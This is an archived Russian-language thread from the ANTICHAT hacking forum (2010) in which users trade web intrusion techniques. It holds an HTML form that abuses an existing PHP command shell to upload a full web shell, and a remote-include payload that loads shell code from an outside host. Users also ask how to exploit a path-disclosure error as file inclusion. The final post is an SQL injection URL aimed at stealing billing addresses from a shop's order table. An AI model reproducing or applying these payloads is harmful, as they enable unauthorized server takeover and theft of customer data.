ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
21.02.2010, 18:45
|
|
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342
Репутация:
165
|
|
Сообщение от daniel_1024
скажите как залить полноценный шелл на сервер имея на нем пхп с этим кодом:
какой запрос надо составить? Создаешь у себя на компе файл lypapam.html
PHP код:
<form enctype=multipart/form-data method=post action="http://lala/shell.php?cmd=$f=$_FILES[x];copy($f[tmp_name],$f[name]);"><input type=file name=x><input type=submit></form>
ссылку до переменной http://lala/shell.php?cmd= - редактируешь под себя
открываешь браузером lypapam.html, прикрепляешь шелл и клик на "отправить")
шелл с таким же именем появится в папке с shell.php
|
|
|
21.02.2010, 18:44
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Заливаешь свой шелл в формате .txt куда угодно, затем выполняешь
script.php?cmd=include("http://yoursite.com/shell.txt");
Затем через шелл льешь его в нужную папку на целевой сайт.
|
|
|
|
22.02.2010, 03:30
|
|
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме:
1977708
Репутация:
208
|
|
ребят, подскажите пожалуйста..
тут копался и в одном сайте при переходе с одного страницы на другую - выдал ошибку:
Код:
Warning: include(../news.php) [function.include]: failed to open stream: No such file or directory in C:\Plesk\VHOSTS\site.com\httpdocs\biography\index.php on line 107
как я понял - раскрытье путей..
как можно "эксплуатировать" эту ошибку ? |
|
|
|
22.02.2010, 03:43
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224
Репутация:
388
|
|
Линк плз в студию.
Либо инклюд, либо раскрытие из-за отсутствия инклюдируемого файла
|
|
|
|
22.02.2010, 04:18
|
|
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме:
1977708
Репутация:
208
|
|
Сообщение от Bb0y
Линк плз в студию.
Либо инклюд, либо раскрытие из-за отсутствия инклюдируемого файла
 линк могу в личку кинуть, но хочется сам что то делать и понять.. сколько буду тут своими вопросами надоедать )))
|
|
|
|
22.02.2010, 04:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
можно реализовать include ...
|
|
|
|
22.02.2010, 13:58
|
|
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме:
1977708
Репутация:
208
|
|
shell_c0de
Strilo4ka
эта ошибка как бы в нижнем части появлается, в колонке вроде новостей.. мне кажется недоделанный скрипт. Вот даже когда захожу в титульную страницу - опять там эта ошибка 
вот так выглядет общий вид:
Код:
Warning: include(news.php) [function.include]: failed to open stream: No such file or directory in C:\Plesk\VHOSTS\site.com\httpdocs\index.php on line 107
Warning: include() [function.include]: Failed opening 'news.php' for inclusion (include_path='.;./includes;./pear') in C:\Plesk\VHOSTS\site.com\httpdocs\index.php on line 107
И как составить LFI ?
|
|
|
|
22.02.2010, 14:36
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440
Репутация:
648
|
|
Что за бред? Если в качестве пользовательских параметров не передаются данные, используемые для инклуда, это не уязвимость, а лишь раскрытие путей.
|
|
|
|
22.02.2010, 15:34
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от Strilo4ka
я это не писал, но то итак понятно что если ничне не передаеться - на главной такая ошибка . От пользователя ниче не получаеться то да...
А че может файл был удален или изменен и потому возниакет ошибка . Если дописать то все ок... Ктсати та че говорить надо смотреть действительно. Допустим если нет данных то по умолчанию что то должно выводиться, а если есть то инклуд другой
Не смотрев на этот сайт, я могу сказать, что эта ошибка возникает потому, что файла news.php нету. И это всего лишь раскрытие... Так что не надо тут выдумывать, что это инклуд. И рассказывать о том, что ты знаешь о фильтрах, еще и MQ совать сюда. И еще, скажи - причем здесь /etc/shadow и /etc/passwd? Ты бы еще про мороженое тут написал. Этого не надо! Человек задал конкретный вопрос, если знаешь конкретный ответ - отвечай, нет - пройди мимо. Еще раз говорю, НЕ НАДО писать здесь о том, что ты знаешь, и строить из себя "умного".
PS:
Сообщение от Strilo4ka
ну как - ищеш что нибуть и пытаешся подключить!!!
Отличный ответ.
|
|
|
|
Ошибка при получении данных из таблицы Order |
22.02.2010, 15:41
|
|
Новичок
Регистрация: 28.09.2009
Сообщений: 19
Провел на форуме:
61814
Репутация:
28
|
|
Ошибка при получении данных из таблицы Order
http://site.com/cart.asp?cartItemQuantity6=0&cartItemId=76'+or+1=( select+top+1+orderCardBillAddress1+from+Order)--
При попытке получить данные их таблицы Order выдает ошибку:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'Order'.
/cart.asp, line 352
я так понимаю проблема в том что SQL воспринимает название таблицы как "order by", так как данные из таблиц с другим названием получаются без проблем. Как представить название таблицы Order чтобы ее SQL принял как имя таблицы? Пробовал переводить в HEX, но это не помогло. Заранее спасибо за помощь!
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
